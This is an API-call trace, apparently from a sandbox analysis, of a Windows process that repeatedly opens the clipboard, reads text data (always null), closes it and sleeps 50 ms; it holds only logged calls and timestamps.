[0270.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc799f0d, dwHighDateTime=0x1d96e12))
[0270.991] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.992] GetClipboardData (uFormat=0x1) returned 0x0
[0270.992] CloseClipboard () returned 1
[0270.992] Sleep (dwMilliseconds=0x32)
[0271.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc7e63da, dwHighDateTime=0x1d96e12))
[0271.008] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.008] GetClipboardData (uFormat=0x1) returned 0x0
[0271.008] CloseClipboard () returned 1
[0271.008] Sleep (dwMilliseconds=0x32)
[0271.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc80c628, dwHighDateTime=0x1d96e12))
[0271.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.023] GetClipboardData (uFormat=0x1) returned 0x0
[0271.023] CloseClipboard () returned 1
[0271.023] Sleep (dwMilliseconds=0x32)
[0271.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc83288e, dwHighDateTime=0x1d96e12))
[0271.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.040] GetClipboardData (uFormat=0x1) returned 0x0
[0271.040] CloseClipboard () returned 1
[0271.041] Sleep (dwMilliseconds=0x32)
[0271.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc858adb, dwHighDateTime=0x1d96e12))
[0271.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.054] GetClipboardData (uFormat=0x1) returned 0x0
[0271.054] CloseClipboard () returned 1
[0271.054] Sleep (dwMilliseconds=0x32)
[0271.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc87ed39, dwHighDateTime=0x1d96e12))
[0271.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.071] GetClipboardData (uFormat=0x1) returned 0x0
[0271.072] CloseClipboard () returned 1
[0271.072] Sleep (dwMilliseconds=0x32)
[0271.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc8a4f8e, dwHighDateTime=0x1d96e12))
[0271.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.086] GetClipboardData (uFormat=0x1) returned 0x0
[0271.086] CloseClipboard () returned 1
[0271.086] Sleep (dwMilliseconds=0x32)
[0271.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc8cb1e6, dwHighDateTime=0x1d96e12))
[0271.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.101] GetClipboardData (uFormat=0x1) returned 0x0
[0271.101] CloseClipboard () returned 1
[0271.101] Sleep (dwMilliseconds=0x32)
[0271.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc8f143d, dwHighDateTime=0x1d96e12))
[0271.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.118] GetClipboardData (uFormat=0x1) returned 0x0
[0271.118] CloseClipboard () returned 1
[0271.118] Sleep (dwMilliseconds=0x32)
[0271.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc9176a6, dwHighDateTime=0x1d96e12))
[0271.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.133] GetClipboardData (uFormat=0x1) returned 0x0
[0271.133] CloseClipboard () returned 1
[0271.133] Sleep (dwMilliseconds=0x32)
[0271.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc93d8f7, dwHighDateTime=0x1d96e12))
[0271.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.148] GetClipboardData (uFormat=0x1) returned 0x0
[0271.148] CloseClipboard () returned 1
[0271.149] Sleep (dwMilliseconds=0x32)
[0271.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc963b53, dwHighDateTime=0x1d96e12))
[0271.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.165] GetClipboardData (uFormat=0x1) returned 0x0
[0271.165] CloseClipboard () returned 1
[0271.166] Sleep (dwMilliseconds=0x32)
[0271.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc989db5, dwHighDateTime=0x1d96e12))
[0271.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.179] GetClipboardData (uFormat=0x1) returned 0x0
[0271.179] CloseClipboard () returned 1
[0271.180] Sleep (dwMilliseconds=0x32)
[0271.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc9b0008, dwHighDateTime=0x1d96e12))
[0271.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.196] GetClipboardData (uFormat=0x1) returned 0x0
[0271.196] CloseClipboard () returned 1
[0271.197] Sleep (dwMilliseconds=0x32)
[0271.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc9d6274, dwHighDateTime=0x1d96e12))
[0271.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.211] GetClipboardData (uFormat=0x1) returned 0x0
[0271.211] CloseClipboard () returned 1
[0271.211] Sleep (dwMilliseconds=0x32)
[0271.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc9fc4b4, dwHighDateTime=0x1d96e12))
[0271.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.226] GetClipboardData (uFormat=0x1) returned 0x0
[0271.226] CloseClipboard () returned 1
[0271.226] Sleep (dwMilliseconds=0x32)
[0271.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfca22710, dwHighDateTime=0x1d96e12))
[0271.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.243] GetClipboardData (uFormat=0x1) returned 0x0
[0271.243] CloseClipboard () returned 1
[0271.243] Sleep (dwMilliseconds=0x32)
[0271.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfca48973, dwHighDateTime=0x1d96e12))
[0271.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.258] GetClipboardData (uFormat=0x1) returned 0x0
[0271.258] CloseClipboard () returned 1
[0271.258] Sleep (dwMilliseconds=0x32)
[0271.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfca6ebc9, dwHighDateTime=0x1d96e12))
[0271.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.273] GetClipboardData (uFormat=0x1) returned 0x0
[0271.273] CloseClipboard () returned 1
[0271.273] Sleep (dwMilliseconds=0x32)
[0271.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfca94e19, dwHighDateTime=0x1d96e12))
[0271.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.290] GetClipboardData (uFormat=0x1) returned 0x0
[0271.290] CloseClipboard () returned 1
[0271.290] Sleep (dwMilliseconds=0x32)
[0271.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcabb07b, dwHighDateTime=0x1d96e12))
[0271.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.304] GetClipboardData (uFormat=0x1) returned 0x0
[0271.304] CloseClipboard () returned 1
[0271.305] Sleep (dwMilliseconds=0x32)
[0271.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcae12d3, dwHighDateTime=0x1d96e12))
[0271.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.321] GetClipboardData (uFormat=0x1) returned 0x0
[0271.321] CloseClipboard () returned 1
[0271.322] Sleep (dwMilliseconds=0x32)
[0271.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcb0752f, dwHighDateTime=0x1d96e12))
[0271.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.336] GetClipboardData (uFormat=0x1) returned 0x0
[0271.336] CloseClipboard () returned 1
[0271.336] Sleep (dwMilliseconds=0x32)
[0271.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcb2d782, dwHighDateTime=0x1d96e12))
[0271.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.351] GetClipboardData (uFormat=0x1) returned 0x0
[0271.351] CloseClipboard () returned 1
[0271.351] Sleep (dwMilliseconds=0x32)
[0271.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcb539ea, dwHighDateTime=0x1d96e12))
[0271.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.369] GetClipboardData (uFormat=0x1) returned 0x0
[0271.369] CloseClipboard () returned 1
[0271.369] Sleep (dwMilliseconds=0x32)
[0271.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcb79c49, dwHighDateTime=0x1d96e12))
[0271.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.383] GetClipboardData (uFormat=0x1) returned 0x0
[0271.383] CloseClipboard () returned 1
[0271.383] Sleep (dwMilliseconds=0x32)
[0271.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcb9fe96, dwHighDateTime=0x1d96e12))
[0271.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.398] GetClipboardData (uFormat=0x1) returned 0x0
[0271.398] CloseClipboard () returned 1
[0271.398] Sleep (dwMilliseconds=0x32)
[0271.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcbc60ed, dwHighDateTime=0x1d96e12))
[0271.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.415] GetClipboardData (uFormat=0x1) returned 0x0
[0271.415] CloseClipboard () returned 1
[0271.415] Sleep (dwMilliseconds=0x32)
[0271.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcbec34a, dwHighDateTime=0x1d96e12))
[0271.436] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.436] GetClipboardData (uFormat=0x1) returned 0x0
[0271.436] CloseClipboard () returned 1
[0271.436] Sleep (dwMilliseconds=0x32)
[0271.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcc125ae, dwHighDateTime=0x1d96e12))
[0271.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.446] GetClipboardData (uFormat=0x1) returned 0x0
[0271.446] CloseClipboard () returned 1
[0271.447] Sleep (dwMilliseconds=0x32)
[0271.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcc387ff, dwHighDateTime=0x1d96e12))
[0271.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.461] GetClipboardData (uFormat=0x1) returned 0x0
[0271.461] CloseClipboard () returned 1
[0271.461] Sleep (dwMilliseconds=0x32)
[0271.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcc5ea58, dwHighDateTime=0x1d96e12))
[0271.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.476] GetClipboardData (uFormat=0x1) returned 0x0
[0271.476] CloseClipboard () returned 1
[0271.477] Sleep (dwMilliseconds=0x32)
[0271.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcc84c90, dwHighDateTime=0x1d96e12))
[0271.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.493] GetClipboardData (uFormat=0x1) returned 0x0
[0271.493] CloseClipboard () returned 1
[0271.493] Sleep (dwMilliseconds=0x32)
[0271.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfccaaf1c, dwHighDateTime=0x1d96e12))
[0271.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.507] GetClipboardData (uFormat=0x1) returned 0x0
[0271.508] CloseClipboard () returned 1
[0271.508] Sleep (dwMilliseconds=0x32)
[0271.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfccd1167, dwHighDateTime=0x1d96e12))
[0271.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.523] GetClipboardData (uFormat=0x1) returned 0x0
[0271.523] CloseClipboard () returned 1
[0271.523] Sleep (dwMilliseconds=0x32)
[0271.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfccf73c6, dwHighDateTime=0x1d96e12))
[0271.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.540] GetClipboardData (uFormat=0x1) returned 0x0
[0271.540] CloseClipboard () returned 1
[0271.540] Sleep (dwMilliseconds=0x32)
[0271.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcd1d61d, dwHighDateTime=0x1d96e12))
[0271.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.554] GetClipboardData (uFormat=0x1) returned 0x0
[0271.554] CloseClipboard () returned 1
[0271.554] Sleep (dwMilliseconds=0x32)
[0271.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcd43875, dwHighDateTime=0x1d96e12))
[0271.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.571] GetClipboardData (uFormat=0x1) returned 0x0
[0271.572] CloseClipboard () returned 1
[0271.572] Sleep (dwMilliseconds=0x32)
[0271.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcd69ace, dwHighDateTime=0x1d96e12))
[0271.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.586] GetClipboardData (uFormat=0x1) returned 0x0
[0271.586] CloseClipboard () returned 1
[0271.586] Sleep (dwMilliseconds=0x32)
[0271.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcd8fd2a, dwHighDateTime=0x1d96e12))
[0271.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.601] GetClipboardData (uFormat=0x1) returned 0x0
[0271.601] CloseClipboard () returned 1
[0271.601] Sleep (dwMilliseconds=0x32)
[0271.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcdb5f7f, dwHighDateTime=0x1d96e12))
[0271.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.618] GetClipboardData (uFormat=0x1) returned 0x0
[0271.618] CloseClipboard () returned 1
[0271.618] Sleep (dwMilliseconds=0x32)
[0271.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcddc1e3, dwHighDateTime=0x1d96e12))
[0271.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.633] GetClipboardData (uFormat=0x1) returned 0x0
[0271.633] CloseClipboard () returned 1
[0271.633] Sleep (dwMilliseconds=0x32)
[0271.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfce02431, dwHighDateTime=0x1d96e12))
[0271.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.648] GetClipboardData (uFormat=0x1) returned 0x0
[0271.648] CloseClipboard () returned 1
[0271.648] Sleep (dwMilliseconds=0x32)
[0271.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfce2868f, dwHighDateTime=0x1d96e12))
[0271.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.671] GetClipboardData (uFormat=0x1) returned 0x0
[0271.671] CloseClipboard () returned 1
[0271.671] Sleep (dwMilliseconds=0x32)
[0271.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfce4e901, dwHighDateTime=0x1d96e12))
[0271.681] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.681] GetClipboardData (uFormat=0x1) returned 0x0
[0271.681] CloseClipboard () returned 1
[0271.681] Sleep (dwMilliseconds=0x32)
[0271.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfce74b49, dwHighDateTime=0x1d96e12))
[0271.697] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.697] GetClipboardData (uFormat=0x1) returned 0x0
[0271.697] CloseClipboard () returned 1
[0271.697] Sleep (dwMilliseconds=0x32)
[0271.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfce9af50, dwHighDateTime=0x1d96e12))
[0271.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.711] GetClipboardData (uFormat=0x1) returned 0x0
[0271.711] CloseClipboard () returned 1
[0271.711] Sleep (dwMilliseconds=0x32)
[0271.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcec0ff0, dwHighDateTime=0x1d96e12))
[0271.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.726] GetClipboardData (uFormat=0x1) returned 0x0
[0271.726] CloseClipboard () returned 1
[0271.726] Sleep (dwMilliseconds=0x32)
[0271.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcee7253, dwHighDateTime=0x1d96e12))
[0271.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.743] GetClipboardData (uFormat=0x1) returned 0x0
[0271.743] CloseClipboard () returned 1
[0271.743] Sleep (dwMilliseconds=0x32)
[0271.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcf0d4b4, dwHighDateTime=0x1d96e12))
[0271.758] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.758] GetClipboardData (uFormat=0x1) returned 0x0
[0271.758] CloseClipboard () returned 1
[0271.758] Sleep (dwMilliseconds=0x32)
[0271.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcf33708, dwHighDateTime=0x1d96e12))
[0271.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.773] GetClipboardData (uFormat=0x1) returned 0x0
[0271.773] CloseClipboard () returned 1
[0271.773] Sleep (dwMilliseconds=0x32)
[0271.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcf5995d, dwHighDateTime=0x1d96e12))
[0271.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.790] GetClipboardData (uFormat=0x1) returned 0x0
[0271.790] CloseClipboard () returned 1
[0271.790] Sleep (dwMilliseconds=0x32)
[0271.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcf7fd2c, dwHighDateTime=0x1d96e12))
[0271.805] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.805] GetClipboardData (uFormat=0x1) returned 0x0
[0271.805] CloseClipboard () returned 1
[0271.805] Sleep (dwMilliseconds=0x32)
[0271.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcfa5e21, dwHighDateTime=0x1d96e12))
[0271.820] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.820] GetClipboardData (uFormat=0x1) returned 0x0
[0271.820] CloseClipboard () returned 1
[0271.820] Sleep (dwMilliseconds=0x32)
[0271.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcfcc06b, dwHighDateTime=0x1d96e12))
[0271.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.836] GetClipboardData (uFormat=0x1) returned 0x0
[0271.836] CloseClipboard () returned 1
[0271.836] Sleep (dwMilliseconds=0x32)
[0271.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfcff22d1, dwHighDateTime=0x1d96e12))
[0271.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.851] GetClipboardData (uFormat=0x1) returned 0x0
[0271.851] CloseClipboard () returned 1
[0271.851] Sleep (dwMilliseconds=0x32)
[0271.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd018524, dwHighDateTime=0x1d96e12))
[0271.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.868] GetClipboardData (uFormat=0x1) returned 0x0
[0271.868] CloseClipboard () returned 1
[0271.868] Sleep (dwMilliseconds=0x32)
[0271.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd03e783, dwHighDateTime=0x1d96e12))
[0271.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.883] GetClipboardData (uFormat=0x1) returned 0x0
[0271.883] CloseClipboard () returned 1
[0271.883] Sleep (dwMilliseconds=0x32)
[0271.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd0649d4, dwHighDateTime=0x1d96e12))
[0271.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.898] GetClipboardData (uFormat=0x1) returned 0x0
[0271.898] CloseClipboard () returned 1
[0271.898] Sleep (dwMilliseconds=0x32)
[0271.916] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd08ac2e, dwHighDateTime=0x1d96e12))
[0271.916] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.916] GetClipboardData (uFormat=0x1) returned 0x0
[0271.916] CloseClipboard () returned 1
[0271.916] Sleep (dwMilliseconds=0x32)
[0271.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd0d712a, dwHighDateTime=0x1d96e12))
[0271.947] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.947] GetClipboardData (uFormat=0x1) returned 0x0
[0271.947] CloseClipboard () returned 1
[0271.947] Sleep (dwMilliseconds=0x32)
[0271.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd0fd348, dwHighDateTime=0x1d96e12))
[0271.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.961] GetClipboardData (uFormat=0x1) returned 0x0
[0271.961] CloseClipboard () returned 1
[0271.961] Sleep (dwMilliseconds=0x32)
[0271.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd123597, dwHighDateTime=0x1d96e12))
[0271.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.976] GetClipboardData (uFormat=0x1) returned 0x0
[0271.976] CloseClipboard () returned 1
[0271.976] Sleep (dwMilliseconds=0x32)
[0271.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd1497fa, dwHighDateTime=0x1d96e12))
[0271.994] OpenClipboard (hWndNewOwner=0x0) returned 1
[0271.994] GetClipboardData (uFormat=0x1) returned 0x0
[0271.994] CloseClipboard () returned 1
[0271.994] Sleep (dwMilliseconds=0x32)
[0272.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd16fa54, dwHighDateTime=0x1d96e12))
[0272.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.008] GetClipboardData (uFormat=0x1) returned 0x0
[0272.008] CloseClipboard () returned 1
[0272.008] Sleep (dwMilliseconds=0x32)
[0272.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd195ca6, dwHighDateTime=0x1d96e12))
[0272.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.023] GetClipboardData (uFormat=0x1) returned 0x0
[0272.023] CloseClipboard () returned 1
[0272.024] Sleep (dwMilliseconds=0x32)
[0272.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd1bbefe, dwHighDateTime=0x1d96e12))
[0272.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.040] GetClipboardData (uFormat=0x1) returned 0x0
[0272.040] CloseClipboard () returned 1
[0272.040] Sleep (dwMilliseconds=0x32)
[0272.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd1e2165, dwHighDateTime=0x1d96e12))
[0272.055] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.055] GetClipboardData (uFormat=0x1) returned 0x0
[0272.055] CloseClipboard () returned 1
[0272.055] Sleep (dwMilliseconds=0x32)
[0272.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd2083b1, dwHighDateTime=0x1d96e12))
[0272.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.071] GetClipboardData (uFormat=0x1) returned 0x0
[0272.072] CloseClipboard () returned 1
[0272.072] Sleep (dwMilliseconds=0x32)
[0272.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfd22e618, dwHighDateTime=0x1d96e12))
[0272.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0272.086] GetClipboardData (uFormat=0x1) returned 0x0
[0272.086] CloseClipboard () returned 1
[0272.086] Sleep (dwMilliseconds=0x32)
